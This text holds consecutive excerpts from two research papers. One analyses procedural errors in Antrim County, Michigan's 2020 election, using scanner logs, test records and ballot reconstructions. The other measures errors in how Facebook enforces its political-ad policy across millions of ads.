Nov 03/2020 20:16:18 Admin chose to Close the Poll
Nov 03/2020 20:16:38 Correct passcode entered for Close.
Nov 03/2020 20:16:38 Requesting confirmation to close poll.
Nov 03/2020 20:16:49 Starting election database close poll

procedure.
Nov 03/2020 20:16:49 Saving Poll-Close time.
Nov 03/2020 20:17:38 Beginning to create Total Results file.
Nov 03/2020 20:18:45 - Successfully created Total Results file

’/cflash/1120_6_6_0_TOTALS.DVD’.
Nov 03/2020 20:18:46 Printing 1 copy of RESULTS TAPE

...
Nov 03/2020 20:32:59 Admin chose Utilities Options
Nov 03/2020 20:33:07 Admin chose to Rezero the Results.
Nov 03/2020 20:33:16 Correct passcode entered for Rezero.
Nov 03/2020 20:33:16 Start election database re-zero poll

procedure.
Nov 03/2020 20:35:24 Total Results completed (rc=0)
Nov 03/2020 20:35:24 >> Shutting down AVS.

Figure 6: Cards Mistakenly Rezeroed. Logs from Elk Rapids 1
(excerpt above) and Milton 1 show that workers at both locations
“rezeroed” the memory cards after polls closed, discarding the digital
results. The results had to be entered manually from the poll tapes.

Scanner L&A Test Dates Test Deck Sizes

Banks October 22 50, 256
Central Lake * October 23 128
Chestonia October 19 262
Custer October 24 256
Echo October 14 and 21 192; 192
Elk Rapids 1 October 14 and 21 64, 64; 128
Elk Rapids AV October 14, 21, and 29 64, 64; 128; 8
Forest Home October 23 192
Helena October 20 64
Jordan October 28 192
Kearney October 27 192
Mancelona 1 October 24 126
Mancelona 2 October 24 127
Milton 1 October 17 64, 64
Milton AV October 17 64
Star October 20 64
Torch Lake October 21 64, 64, 64
Warner * October 20 64, 192

Table 5: Logic and Accuracy Testing checks that scanners produce
correct poll tapes when tallying sets of ballots with known selections
(“test decks”). All Antrim memory cards used on election day were
tested, but testers in two townships (*) failed to flag visible errors.

A Appendix: Logic and Accuracy Testing
Logic and accuracy testing (L&A testing) helps ensure that
election definitions are properly prepared and match the bal-
lot designs. Workers scan one or more “test decks”—sets
of ballots marked in advance so that the correct results are
known—and verify that the poll tapes show the expected
output. Although L&A testing cannot protect against sophis-
ticated attacks on voting equipment [19], it can detect some
kinds of accidental or deliberate configuration problems.

Michigan requires L&A testing of all scanners [30]. To de-
termine whether such testing took place in Antrim, I examined
the logs from the memory cards. Every scanner was tested
before the election, as shown in Table 5. Notably, both Mance-
lona scanners were tested after their cards were updated with
the revised election definition. (The Central Lake scanner was
not retested after its card was updated for the second scan on
Nov. 6, but it was tested prior to the election.) Unfortunately,
these tests failed to detect the impending problems.

The poll tapes produced during testing in Central Lake and
Warner Township reflected the initial ballot designs, so they
contained an incorrect contest and were missing a contest,
respectively. By the time the testing occurred, the county was
aware of the ballot design errors, and so, presumably, were
the townships. The workers who performed the testing may
have either ignored these discrepancies or failed to review
the test decks and poll tapes carefully enough to spot them.
Had the townships reacted to these errors by updating their
election definitions, it would have prevented some (but not
all) of the anomalies described in Section 4.
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Michigan only requires L&A testing at the local level. The
state recommends, but does not require, “end-to-end” pre-
election testing to confirm that loading results from scanner
memory cards into the EMS produces correct results. No such
testing was conducted in Antrim. Had the county performed
such testing, it likely would have detected the mismatched
election definitions and averted the major anomalies.

B Appendix: Estimated Error in Prop. 20-1
The two scans from Central Lake provide enough information
to estimate the number of ballots that used the initial ballot
design and the size of the errors in the State Prop. 20-1 results.

The first poll tape, based on the initial election definition,
showed 61 votes for “Yes” and 371 for “No” from Central
Lake Village. Per Figure 3, the “Yes” votes would have been
only those marked for “Yes” and using the initial design,
while the “No” votes would have been those marked “Yes”
using the initial ballot design plus those marked “No” using
the revised ballot design. The second poll tape, based on the
revised definition, shows 370 votes for “Yes” and 69 for “No.”
Votes counted for “Yes” would have been those marked “Yes”
using the revised ballot design plus those marked “No” using
the initial ballot design. Those counted for “No” would have
been only those marked “No” using the revised ballot design.
(The values 371 and 370 should be equal; the difference is due
to the ballots omitted in the second scan, shown in Figure 7.)

We can use these facts to estimate the correct results. Let a
be the number of votes for “Yes” cast using the revised ballot
design, and let b be the number of votes for “No” cast using
the initial ballot design. Based on the facts above, a+b ≈ 370.
In the rest of Central Lake Township, which was unaffected
by the error, “Yes” received 84% of the votes. Under the
assumption that Central Lake Village voted for each option
in the same proportion:

61+a
(61+a)+(b+69)

≈ 84%

By simple algebra, a ≈ 359 and b ≈ 11.
As shown in Table 6, this implies that approximately 61+

11 = 72 votes were cast using the initial ballot design and that
approximately 50+11 = 61 votes are not incorporated in the
final results for the contest.

Choice
Ballot Design

Total ∆
Initial Revised

Yes 61 a ≈ 359 420 +50
No b ≈ 11 69 80 +11

Table 6: Remaining Errors in State Prop. 20-1. My estimates
(blue) show that approximately 61 votes are missing from Central
Lake’s results for Prop. 20-1, roughly 50 for “Yes” and 11 for “No.”

Ballot 1 — Central Lake Township, Precinct 1CENT

President and Vice President : Donald J. Trump / Michael R. Pence

United States Senator for State : John James

Representative in Congress 1st District : Jack Bergman

Representative in State Legislature 105th District : Ken Borton

Member of the State Board of Education : Tami Carlone, Michelle A. Frederick

Regent of the University of Michigan : Sarah Hubbard, Carl Meyers

Trustee of Michigan State University : Pat O’Keefe, Tonya Schuitmaker

Governor of Wayne State University : Don Gates

County Prosecuting Attorney : Write-in

County Sheriff : Write-in

County Clerk : Sheryl Guy

County Treasurer : Sherry A. Comben

County Register of Deeds : Patty Niepoth

County Drain Commissioner : Mark Stone

County Surveyor : Scott Papineau

County Commissioner 2nd District : Joshua E. Watrous

Township Supervisor for Central Lake Township : Write-in

Township Clerk for Central Lake Township : Judy Kosloski

Township Treasurer for Central Lake Township : Andrew Smith

Township Trustee for Central Lake Township : Patrick Hanlon, Pat Marshall

Justice of Supreme Court : Katherine Mary Nepton, Brock Swartzle

Judge of Court of Appeals 4th District Incumbent Position : Michael J. Kelly, Amy

Ronayne Krause

Judge of Court of Appeals 4th District Non-Incumbent Position : Michelle Rick

Judge of Circuit Court 13th Circuit Incumbent Position : Kevin A. Elsenheimer

Board Member for Charlevoix-Emmet Intermediate School District 6 Year Term :

Thelma A. Chellis

State Proposal 20-1 : Yes

State Proposal 20-2 : Yes

Ballot 2 — Central Lake Township, Precinct 1V

[*No selections.]

Ballot 3 — Central Lake Township, Precinct 1V

Straight Party Ticket : Republican Party

President and Vice President : Donald J. Trump / Michael R. Pence

United States Senator for State : John James

Representative in Congress 1st District : Jack Bergman

Member of the State Board of Education : Tami Carlone, Michelle A. Frederick

Regent of the University of Michigan : Sarah Hubbard, Carl Meyers

Trustee of Michigan State University : Pat O’Keefe, Tonya Schuitmaker

County Prosecuting Attorney : James L. Rossiter

County Sheriff : Daniel S. Bean

County Clerk : Sheryl Guy

County Treasurer : Sherry A. Comben

County Register of Deeds : Patty Niepoth

County Commissioner 2nd District : Joshua E. Watrous

Township Supervisor for Central Lake Township : Stanley A. Bean

Village President for Village of Central Lake : Rob Tyler

Village Trustee for Village of Central Lake : Bill Chapman

* School Board Member for Central Lake Schools : Melanie Eckhardt, Keith Shafer

* State Proposal 20-1 : —

* State Proposal 20-2 : —

* A Proposed Initiated Ordinace to Authorize One (1) Marihuana Retailer Establishment

Within the Village of Central Lake : No

* contest potentially incomplete due to limited data

Figure 7: Reconstructed Ballots. The scanner in Central Lake
recorded three ballots on Nov. 3 that were not included when ballots
were rescanned on Nov. 6. If Ballot 3 was omitted in error, it likely
altered the outcome of the Central Lake Village Marihuana Initiative.
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Abstract
Major technology companies strive to protect the integrity of
political advertising on their platforms by implementing and
enforcing self-regulatory policies that impose transparency
requirements on political ads. In this paper, we quantify
whether Facebook’s current enforcement correctly identifies
political ads and ensures compliance by advertisers. In a
comprehensive, large-scale analysis of 4.2 million political
and 29.6 million non-political ads from 215,030 advertisers,
we identify ads correctly detected as political (true positives),
ads incorrectly detected (false positives), and ads missed by
detection (false negatives). Facebook’s current enforcement
appears imprecise: 61% more ads are missed than are de-
tected worldwide, and 55% of U.S. detected ads are in fact
non-political. Detection performance is uneven across coun-
tries, with some having up to 53 times higher false negative
rates among clearly political pages than in the U.S. Moreover,
enforcement appears inadequate for preventing systematic
violations of political advertising policies: for example, ad-
vertisers were able to continue running political ads without
disclosing them while they were temporarily prohibited in
the U.S. We attribute these flaws to five gaps in Facebook’s
current enforcement and transparency implementation, and
close with recommendations to improve the security of the
online political ad ecosystem.

1 Introduction

Online political advertising is a powerful tool for enabling en-
gagement in the political process, but with this power comes
the risk of abuse that can harm the integrity of the demo-
cratic process. Scrutiny of major online advertising platforms
intensified due to foreign interference in the 2016 U.S. elec-
tions [87] as well as broader concerns on disinformation, voter
suppression, and inauthentic behavior [89]. As government

Supplementary materials as well as an extended version of this paper
that includes the appendices are available at https://osf.io/7tw3e/.

Table 1: Summary of (in)correctly classified ad counts, across
undeclared political ads as labeled by Facebook or by us,
within a 14-day observation period after an ad’s first activity.

Detected as political by Facebook Not detected by Facebook

40,191 * 32,487 * 116,963 §
False positive True positive False negative

(subsection 5.2) (subsection 5.1) (subsection 6.3)

Not political Actually political
Precision: 0.45 Recall: 0.22 F1 score: 0.29

* Across all advertisers worldwide; estimate based on 55% FP rate in U.S.
§ Across political advertisers worldwide.

regulation has failed to adapt [64, 71], oversight on online
political advertising has fallen largely to the platforms them-
selves [42, 64]. Platforms therefore developed self-regulatory
policies [71] that include verifying and revealing advertisers’
identity [48, 57], creating public archives of political ads [6],
or even banning political ads altogether [1, 64].

A baseline requirement for platforms to protect integrity
and reduce harm is then to properly identify advertisements
that seek to influence public opinion, and adequately enforce
their policies on those ads and their advertisers. Failing to do
so correctly, rapidly, and consistently leaves an opportunity
for ill-spirited advertisers to impede public scrutiny, spread
violating content, and evade restrictions on political ads. Con-
versely, well-meaning advertisers are disadvantaged if their
ads are unduly made unavailable due to incorrect enforce-
ment, or if they (over-)comply with policies while others do
not [72], especially when policies are unclear or ambiguous.
Given the large number of submitted ads, platforms usually
deploy automated methods for policy review, complemented
by human review when needed [23, 38, 75].

In this paper, we audit whether Facebook makes accurate
enforcement decisions for ads that may be in scope of its polit-
ical ad1 policies, but were not declared as such by the respec-

1In this paper, we use ‘political ads’ as shorthand for ads in scope of
Facebook’s policy, i.e., “ads about social issues, elections or politics” [11].
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tive advertisers. Facebook is the most popular social media
platform worldwide among users [66] and advertisers [103],
and its political ad policies and transparency are considered
to be among the most developed for major technology com-
panies [71, 101], allowing us to analyze the effectiveness
of self-regulation through one of the most advanced deploy-
ments. We build a novel large-scale data collection pipeline
that retrieves all currently active ads running on Facebook’s
core advertising platforms2 from the Ad Library, its ad trans-
parency tool. Our comprehensive and representative data set
contains 4.2 million political and 29.6 million non-political
ads from all 215,030 pages3 that ran political ads during the
second half of 2020 and beginning of 2021, covering major
elections in the U.S. and Brazil. We analyze the prevalence
of ads that Facebook correctly detects to violate policies after
they start running (true positives), ads that Facebook detects
but are not political (false positives), and ads that Facebook
fails to detect even though they are political (false negatives).

In prior work, the Ad Library has been used to study ad-
vertisers evading Facebook’s transparency requirements [36],
while other research sought to quantify enforcement errors
through anecdotal evidence [33, 97, 108, 111], or through
crowdsourced [96, 102] or self-published [75] ads; however,
these studies inherently cover only a small sample of ads. To
the best of our knowledge, no previous study has quantified
the performance of Facebook’s political ad policy enforce-
ment in detecting non-compliance at a large and representa-
tive scale. A study such as ours is essential to understanding
whether Facebook’s current self-regulation effort is sufficient
to maintain the integrity of its political ad ecosystem.

Overall, we find that policy violations detected after an
ad starts running represent a small share (1.7%) of political
ads on Facebook. Detection happens rather quickly; yet it
is worth noting that these violating ads failed to be detected
during Facebook’s initial ad review, which allowed them to
accumulate over 2 billion user impressions before being taken
down. Unfortunately, this detection of violating ads seems
to have little visible impact on advertisers. Despite a history
of violations, we observe that the top violating advertisers
were able to continue running new ads and accumulate more
violations for long periods of time, even while political ads
were banned in the U.S. [1, 70, 94].

Ambiguities in Facebook’s policies and flaws in Face-
book’s existing detection appear to cause many unrelated
ads to be incorrectly labeled as political: We estimate that
among U.S. advertisers, 55% of ads detected as “political”
by Facebook are in fact false positives. Conversely, we iden-
tify 39% of advertisers in Facebook’s Ad Library Reports
as clearly political. While such advertisers are subject to a
blanket rule in Facebook’s ad policy requiring them to declare
all their ads as political, these pages ran a total of 116,963

2Facebook, Instagram, Messenger, and the Audience Network.
3An advertiser runs ads from their Facebook page [6]. In this paper, we

use ‘advertiser’ and ‘page’ interchangeably.

ads that were not declared as political and not detected by
Facebook. In addition, significant differences in the rates of
undetected ads arise between countries: While performance
is best in the United States at 0.85%, Facebook may fail to
detect up to 45% of undeclared political ads in other countries.

When considering only the running ads where Facebook
needed to make an enforcement decision, that is, ads not vol-
untarily disclosed by their advertisers, we find 61% more ads
that are missed than are detected by Facebook within 14 days,
and 55% of detected ads are likely false positives (Table 1).
With more errors than correct decisions, Facebook’s current
enforcement approach appears inadequate: users are left vul-
nerable to ads that seek to influence their opinion without
proper disclosure, while legitimate advertisers regularly see
their ads unjustly taken down. We attribute these flaws to
insufficient attention for an advertiser’s political intent, the
possibility for advertisers to continue running violating ads,
inadequate localization in many countries, and ambiguity in
policies, worsening transparency. Based on these observa-
tions, we make a number of recommendations to improve
policy enforcement (section 7).

In summary, our main contributions are:

• We develop a novel data collection pipeline through which
we obtain a comprehensive and representative view on all
active political and non-political ads running between July
2020 and February 2021 across 215,030 pages (section 4).

• From an ad-level perspective, we find 1.7% of all “political”
ads to have been detected post-hoc by Facebook, but detec-
tion is imprecise: we estimate through manual labeling that
in the U.S., 55% of detected ads were incorrectly marked
as political (false positives) and taken down (section 5).

• From an advertiser perspective, we find that detection of
violating ads does not appear to prevent future violations,
and that Facebook misses 116,963 ads from clearly politi-
cal advertisers (false negatives), with considerably worse
performance outside the United States (section 6).

• We identify five factors where our findings suggest that
Facebook’s current enforcement and transparency imple-
mentation is lacking, and suggest improvements that would
strengthen enforcement and improve the security of the
online political ad ecosystem (section 7).

2 Background

2.1 Political ad policy

Facebook imposes increased authenticity and transparency re-
quirements for “ads about social issues, elections or politics,”
by requiring advertisers to confirm their identity and location
and declare who funded the ads. These requirements are only
mandatory and therefore proactively or reactively enforced in
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around4 60 countries and territories for ads about social issues,
elections or politics, and in around 60 additional countries for
ads about elections or politics only [18], with these sets of
countries expanding over time. In all other countries, adver-
tisers are currently “strongly encouraged” to get authorized
and declare ads, but this is voluntary and not enforced [18].

Facebook considers ads to be “about social issues, elections
or politics” if they are [12]:
• “made by, on behalf of or about a candidate for public

office, a political figure, a political party, a political action
committee or advocates for the outcome of an election to
public office; or

• about any election, referendum or ballot initiative, including
"get out the vote" or election information campaigns; or

• about any social issue in any place where the ad is being
run; or

• regulated as political advertising.”
Facebook further specifies ‘social issues’ as “sensitive top-

ics that are heavily debated, may influence the outcome of an
election or result in/relate to existing or proposed legislation”
and requires disclosure for these “social issue ads that seek to
influence public opinion” [5]. Facebook defines a list of top-
level ‘social issues’ per country (where applicable), which
can change over time [5]; Facebook further clarifies these
topics with examples of ads that are in and out of scope [56].

Before an advertiser can run ads about social issues, elec-
tions or politics in an applicable country, they must complete
the authorization process there and confirm their identity and
location [12, 24, 38, 48]. Once authorized, they can cre-
ate ‘disclaimers’ to indicate which funding entity (individual,
page or organization) paid for a given ad [22, 28, 38]. When
running a political ad, the advertiser must then select it as a
“Special Ad Category” [24] and add a disclaimer [24, 38].5

As shorthand, whenever we mention ‘political ads’ we refer
to “ads about social issues, elections or politics” that were
properly declared (i.e., having a disclaimer) or detected (i.e.,
lacking a disclaimer but marked as political by Facebook).

2.2 Policy enforcement

Facebook requires advertisers to self-determine that an ad is
in scope of its ad policy on social issues, elections or politics,
but also reviews any other submitted ad for policy compli-
ance [38]. This “relies primarily on automated review (artifi-
cial intelligence) [...] and, in some cases, [they] have trained
global teams to review specific ads” [38]. If an undeclared ad
gets caught during this initial review, it never runs and is not
archived in the Ad Library; the attempted violation will never
be publicly known. This paper excludes such early detections.

4Lists of countries are inconsistent between the web portal [6] and docu-
mentation [18].

5Certain Facebook-vetted news publishers are exempt from declaring ads
even if their content is political but not opinionated [7, 12].

If an undeclared ad passes review and is running, it can
still “be flagged by AI or reported by [Facebook’s] commu-
nity” as political [38]. Facebook then “disapproves” the ad
retroactively, meaning they deactivate the ad, so it is no longer
shown to any user. This is the type of ad detection that we
study in this paper. Facebook also archives the violating ad
in the Ad Library with a message that “this ad ran without a
disclaimer,” regardless of whether the advertiser completed
the ad authorization process [4, 6]. While the ad will remain
publicly archived even when inactive, it will therefore never
be known who paid for the ad. Violating pages may also be
restricted from running new (political) ads or be disabled [12].

2.3 Transparency tools
Facebook emphasizes transparency as a means to hold them
and their advertisers accountable [38], enabling users to be
aware of who is trying to influence them as well as enabling
journalists, organizations, and researchers (including us) to
audit online political advertising [38]. To support this trans-
parency, Facebook provides three core tools [113]:
1. The Ad Library [8] is a web portal where users can search

all currently active ads for any Facebook page in any coun-
try, as well as all active and inactive ads about social issues,
elections or politics. Only for the latter, provided metadata
includes the disclaimer provided (if any), the identity of
an authorized advertiser and how this was verified, and
binned estimates of ad spend, reach, and impressions. A
non-political ad disappears from the Ad Library once it
becomes inactive; a political ad is archived for 7 years [6].
Appendix A shows how the web portal displays ads.

2. The Ad Library API [9] provides an interface for auto-
mated queries for all active and inactive ads about social
issues, elections or politics for any page in a given country.

3. The Ad Library Report [10] aggregates advertiser data
for all ads about social issues, elections or politics for
countries where Facebook requires disclosure, listing all
pages with at least one political ad in the chosen time span.

2.4 Related work
Prior work used crowdsourced or self-published ads to analyze
the correctness of Facebook’s political ad policy enforcement.
Silva et al. [96] developed a system to crowdsource Facebook
ads in Brazil and classify them as political using a supervised
machine learning model. Across 38,110 ads during the 2018
Brazilian elections, this model found 835 ads (2.2%) that had
not been correctly declared nor detected as political. Matias
et al. [75] conducted an audit study on Facebook and Google’s
political ad policy enforcement through self-published ads,
finding that Facebook applies their policies too restrictively,
leading to 10 mistakenly prohibited ads (out of 238), while
Google prohibited no ads. Sosnovik and Goga [102] com-
pared platform, advertiser, and user perceptions of the def-
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inition of online political ads on Facebook through 63,400
crowdsourced ads labeled by volunteers. They found that
social issue ads in particular see the highest error rate due
to unclear policies, although users largely perceive them as
political, and observe disagreement between automated clas-
sifiers for political ads trained on differently sourced sets of
(non-)political ads. Moreover, several media reports have
given anecdotal evidence of ads missed by Facebook’s en-
forcement, both from politicians [33, 97, 108] and social
issue organizations [97, 111]. Using the Ad Library, Cecere
et al. [23] found that COVID-19-related ads were more likely
to be detected by Facebook, suggesting that these may have
been falsely detected, and that ad policies were confusing to
advertisers. Our study quantifies the performance of Face-
book’s enforcement on a larger and more representative scale
than these previous studies, as we gather all active ads for all
pages with at least one political ad, to analyze the prevalence
of both false positives and false negatives.

From a transparency perspective, Edelson et al. [37] de-
scribed and compared the efforts by Facebook, Google, and
Twitter on a technical level. They later conducted a secu-
rity analysis on transparency for Facebook’s Ad Library in
the U.S. [36], finding that adversarial political advertisers
could evade transparency requirements through erroneous dis-
claimers and undisclosed coordinated behavior. We assess
how advertisers may evade declaring their ads as political
altogether, through which they also avoid transparency.

Further audits of Facebook’s advertising platform found
that advertisers can exploit ad targeting to infer private or sen-
sitive user information [43, 50–52, 109], or to deploy highly
targeted and biased ad campaigns [16, 49, 87], with users re-
ceiving inadequate targeting explanations from Facebook [16].
Facebook’s ad delivery may also skew which users see which
ads, potentially leading to discrimination based on gender or
race [14, 60, 69], including for political ads [15].

3 Enforcement Errors and Their Impact

We introduce the two error types that affect the security of
Facebook’s political ad platform, i.e., the ‘threat model,’ and
describe the actors that may either exploit these errors to
induce harm, or that are themselves harmed by these errors.

First, ads may not be detected as political by Facebook, i.e.,
are false negatives. Once they are allowed to run, these missed
ads harm the integrity of the online political ad ecosystem and
of Facebook’s transparency efforts. They result from Face-
book failing to discover ads that advertisers did not properly
declare, whether deliberately to avoid scrutiny or acciden-
tally due to misinterpreting (ambiguous) policies [33, 97, 102,
111]. Malicious advertisers may have an incentive to not
declare politically motivated ads, as this relieves them of the
accompanying restrictions. They would not need to get au-
thorized by Facebook (requiring identification) nor display
who paid for the ad [38]. Moreover, users will be unaware

that the advertiser is attempting to influence them as the ad
interface will not reflect that the ad is political [38], and they
might be shown the ad even if they requested to see fewer
political ads [58]. The advertiser can then abuse these flaws
to spread disinformation or prohibited content (e.g., voter
suppression), or engage in ‘coordinated inauthentic behav-
ior’ where accounts conspire to run influence campaigns [36,
89], without being publicly identified. Moreover, such an
advertiser can circumvent bans on political ads, as was (tem-
porarily) the case after the 2020 U.S. elections [1]. Finally,
advertisers may want to evade transparency and accountabil-
ity: undetected ads disappear from the Ad Library once they
become inactive, leaving researchers and journalists unable
to discover policy-violating content or hold advertisers and
Facebook accountable for compliance with and enforcement
of the political ad policy.

Second, ads may be incorrectly detected as political by
Facebook, i.e., are false positives. As detected ads are taken
down and may even result in pages being restricted from run-
ning ads or being deleted, Facebook reduces the availability
of legitimate advertisements through these errors, whether the
ads concern social issues (but do not influence public opinion)
or are purely commercial. On the one hand, these can result
from Facebook applying their policies too restrictively or er-
roneously and detecting ads that are in fact not political. For
example, Facebook’s enforcement errors were found to hinder
public health messages related to COVID-19 [23, 95] and vac-
cines [63, 79, 104]; were thought to unduly insinuate political
division for social themes [47, 53, 80, 90, 99, 100, 114]; or
resulted from false name matches [45, 74–76]. On the other
hand, advertisers themselves may introduce false positives
by (voluntarily) over-declaring ads that are not in scope of
the political ad policy [102], possibly due to incorrectly or
overly cautiously interpreting this policy or because they fear
the ad will otherwise be erroneously detected and taken down.
False detections also erode trust in enforcement as a whole,
as they suggest that the automated decision models are unable
to properly distinguish political ads, and further reduce the
quality of input data to these models.

Throughout this paper, we label ads as follows:

Considered as political by

advertiser Facebook us Label Type

3 N/A 3 declared True positive
3 N/A 7 (over-)declared False positive

7 3 3 detected* True positive
7 3 7 (over-)detected* False positive
7 7 3 undetected* False negative
7 7 7 – True negative

7 (3 OR 3) *undeclared
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4 Data Collection

To understand the dynamics and possible shortcomings of
Facebook’s ad policy enforcement, we must capture the full
lifespan for all relevant ads. The Ad Library API is insuffi-
cient for this purpose: it only returns ads once they are known
to be political, which crucially excludes the period before
Facebook enforces upon an ad, and omits ads that Facebook
never enforces upon altogether. We therefore develop a novel
large-scale data collection pipeline using the Ad Library web
portal, which lists all active ads for a given page, regardless of
whether they are political. In this section, we first define the
scope of our study and present our data collection method. We
then describe and validate the resulting data set, and discuss
the ethics of our data collection as well as the impact of its
limitations on our study.

4.1 Scope and method

Our data collection started on July 9, 2020, and was initialized
with all pages that were present in any Ad Library Report for
the past week since April 21, 2020, i.e., all pages that had
published any political ads relatively recently. Until January
12, 2021, we continuously added pages newly appearing in
the most recently available Ad Library Report. We consider
the resulting set of pages as the scope of our study. We
continued collecting ads for these pages for four more weeks,
i.e., until February 9, 2021. This period therefore covered the
pause on political ads in the United States after the elections
on November 3, 2020 [1]. Our data collection covered all
71 countries with an Ad Library report at the time of our
measurement. Appendix G lists the dates when reports were
first available and when we started tracking their pages.

For every page that is in scope, we scrape its ads from the
Ad Library web portal [8] with a target period of 24 hours,
as well as page metadata with a target period of 14 days. We
request all currently active ads which had impressions in the
previous 7 days in any country; we do not apply any other
filter. Additionally, for every ad, we gather its contents and
metadata 14 days after its first observation through the ad
snapshot tool used in the Ad Library API. As this endpoint
reports the ad’s most recent state, even if already inactive, this
allows us to observe any enforcement by Facebook within 14
days of the ad’s publication. For an ad detected within 14
days, we assume that ad detection led to its deactivation. We
then calculate the activity period of an ad as the time between
its first and last (daily) observation, assuming that the ad was
published just before the former and detected just after the
latter, with a 24-hour margin due to our scraping frequency.
Moreover, whenever we analyze the activity period of an
ad, we require that we likely captured the full lifespan of
an ad, and therefore exclude ads active during the final four
weeks of our data collection (reducing right censoring) or
before/during our first scrape for a given page (reducing left

Table 2: Page/ad counts for the top 10 and other countries.
For spend and impressions, we calculate the lower and upper
bound based on the ranges available in our data.

for political ads

Country # pages O with ad # ads # ads
Spend

(106 USD)
Impressions

(109)

U.S. 90,018 69,815 21,934,716 1,902,473 810–1,146 45–53
Brazil 39,675 33,459 1,039,109 696,612 13–27 8.4–10
India 13,798 10,722 779,670 121,269 2.9–3.6 3.9–4.4
Italy 11,758 10,049 384,808 124,767 6.5–22 2.7–3.2
U.K. 10,558 8,016 2,456,921 96,660 17–33 2.4–2.8
Germany 10,223 8,501 782,078 121,482 13–30 2.8–3.2
Ukraine 8,632 7,437 315,425 133,006 3.2–17 3.4–4.0
Mexico 7,229 6,145 275,028 88,406 4.9–6.9 3.8–4.4
Canada 6,352 5,198 529,107 76,076 13–22 1.8–2.1
Romania 5,708 4,927 189,389 104,228 5.8–9.1 2.8–3.3

Other 61,873 50,761 5,142,518 726,382 54–109 18–21

Total 265,824 215,030 33,828,769 4,191,361 944–1,426 95–112
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Figure 1: Distributions of observed ads and pages.

censoring). Finally, we retrieve all political ads that were
active during our measurement period through the Ad Library
API on March 30, 2021, in the subset of countries where
API data was available to us (covering 80% of scraped ads,
Appendix G).

4.2 Data set description
In total, we observed 33.8 million unique ads during our mea-
surement, of which 4.2 million were declared or detected as
political (Table 2). As Facebook only provides ranges for
ad spend and impressions for political ads, we estimate that
these had around 100 billion impressions and cost around 1 to
1.4 billion U.S. dollars. We see that United States advertisers
dominate our data in terms of the number of ads placed over-
all, as well as in political ad count, spend, and impressions
until the 2020 U.S. elections (Appendix B), when Facebook
restricted U.S. political ads [1].

We observed ads across 215,030 pages (by definition, all
of these pages had at least one political ad ever); we never
observed any ads for 50,794 additional pages in scope. Small
advertisers represent the majority of these pages: the median
page posts fewer than 6 ads and 1 political ad respectively
(Figure 1). Conversely, a small percentage of pages account
for the majority of ads: the top 20% advertisers posted 92.5%
of all ads and 81.9% of all political ads. Distributions are
similar between U.S. and non-U.S. advertisers. To conserve
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resources, we manually analyzed the largest advertisers up
to then on four occasions (Appendix B), and discarded those
that we considered unlikely to intentionally publish political
ads. Before discarding, these advertisers placed 5,862,808
ads (17.3% of all ads). Our analysis in Appendix C confirms
that these pages minimally placed political ads (0.011% of
their observed ads), supporting our decision to discard them.

4.3 Data set validation

We assess the coverage of our data set both internally and
externally to determine how often we were unable to retrieve
all available ads. As an internal validation, we compare the
expected number of available ads included in Facebook portal
data to the number of actually observed ads. As an external
validation, we compare the observed political ads with those
retrieved from the Ad Library API.

We summarize our coverage in Figure 2. We missed 19.8%
of ad observations, most often due to a limitation in Face-
book’s systems: even though the portal is able to report that a
page has over 50,000 ads, it fails to actually load more than
7,800 ads per scrape. Very large advertisers therefore bear the
bulk of missing observations. We also miss the first ads from
newly seen advertisers due to a delay of usually three days
between a page’s first political ad impression and its appear-
ance in the Ad Library Report [32]. Otherwise, discrepancies
are due to our scraping frequency or setup: we miss ads that
disappear during a scrape, that only appear between scrapes
or after the last scrape, or when the scraper (partially) failed.
For 7.5% of ads, we could not make the 14-day snapshot:
this is largely due to resources being unavailable or restricted
through Facebook’s snapshot tool, or because the 14-day in-
terval was outside our measurement period. Finally, for 184
pages (0.07%), we failed to retrieve page metadata.

Based on the maximum number of missed observations per
page, we estimate to have missed at least an additional 6.4%
of ads. Weighted by the observed proportion of political ads
per page, we estimate to have missed 11.4% of political ad
observations. We note that the (unknown) number of unique
ads that we were unable to retrieve is significantly lower
than the number of missed ad observations, since many ads
are active for more than one day. Finally, based on the API
data, we missed around 1 million political ads (24.8%), with
an estimated combined spend between 188 and 550 million
USD, and 24 to 31 billion impressions. While missing data
may introduce risks to research validity [46], our findings
are lower bounds mainly calculated in the aggregate, which
are less affected by our data gaps. We therefore believe that
our data and results remain sufficiently representative for the
Facebook political ad ecosystem.

All ads Political ads

Successful ad observations
285,804,497 obs.

Political ad observations
28,023,938 obs.

Unexpected observations
53,163 (0.02%)

Missed ad observations
56,692,679 obs. (19.8%)

Missed political ad observations
estimated 3,203,412 obs. (11.4%)

Per-scrape ad limit
51,147,909 obs.

Scraper failures
4,352,630 obs.

Ads removed during scrape
1,192,140 obs.

O
bs

er
va

tio
ns

Observed unique ads
33,828,769 ads

Observed unique political ads
4,191,361 ads

14-day snapshot unavailable
2,530,691 ads (7.5%)

Missed ads
at least 2,154,236 ads (6.4%)

Missed political ads (API)
1,041,267 ads (24.8%)

Only active between scrapes
365,611 ads

Per-scrape ad limit
341,780 ads

Only active before first/
after last scrape

333,876 ads
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Figure 2: Summary of data set coverage.

4.4 Ethics

We follow ethical guidelines for Internet measurement and
cybersecurity research [19, 54, 73]. Our data collection does
not affect any non-advertiser Facebook users and we do not
observe any personally identifiable information on them. Our
research received an IRB exemption as it does not involve
human subjects. As part of publicly available metadata, we
collect the disclaimer that the advertiser provides to Facebook
for the ad authorization process [48]; in the case of individuals,
this may include personally identifiable information such as
their legal name. We only process this data in the aggregate
and do not use it to identify any individual. Similarly, we
do not name any specific advertiser to avoid inflicting harm
resulting from flaws in Facebook’s enforcement.

We collect only publicly accessible data. As Facebook
states that “more than 2 million people visit the Ad Library
every month” [3], we do not expect this data collection to
significantly affect the availability of the Ad Library, and
we did not observe any service outage possibly caused by
our scraping. While Facebook’s ‘Automated Data Collection
Terms’ [17] may prohibit scraping, we believe that our re-
search is in the public interest, and that its societal benefits
justify the technical resources consumed from Facebook, as
well as potential reputational and financial harm on Facebook.
Institutions, civil society organizations, and researchers have
previously called for improved transparency for all ads [2, 26,
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35, 39, 59, 62, 64, 65, 71, 88, 110], confirming the value
of our data set. We share our data and methods with other
researchers at https://osf.io/7tw3e/. In the context of
prior work, we already communicated with Facebook to dis-
cuss their ad review and transparency, and presented to them
the overall issues and recommendations that we also analyze
in this paper.

4.5 Limitations

The definition of our scope leads us to only track pages with at
least one known political ad (declared or detected) as recorded
in the Ad Library Report. If a page never gets caught or is
exempt (news pages [7]), we will therefore not track its ads,
potentially missing their false negatives. Likewise, we cannot
cover advertisers in countries where declaration is voluntary,
as Facebook does not publish an Ad Library Report there [6].

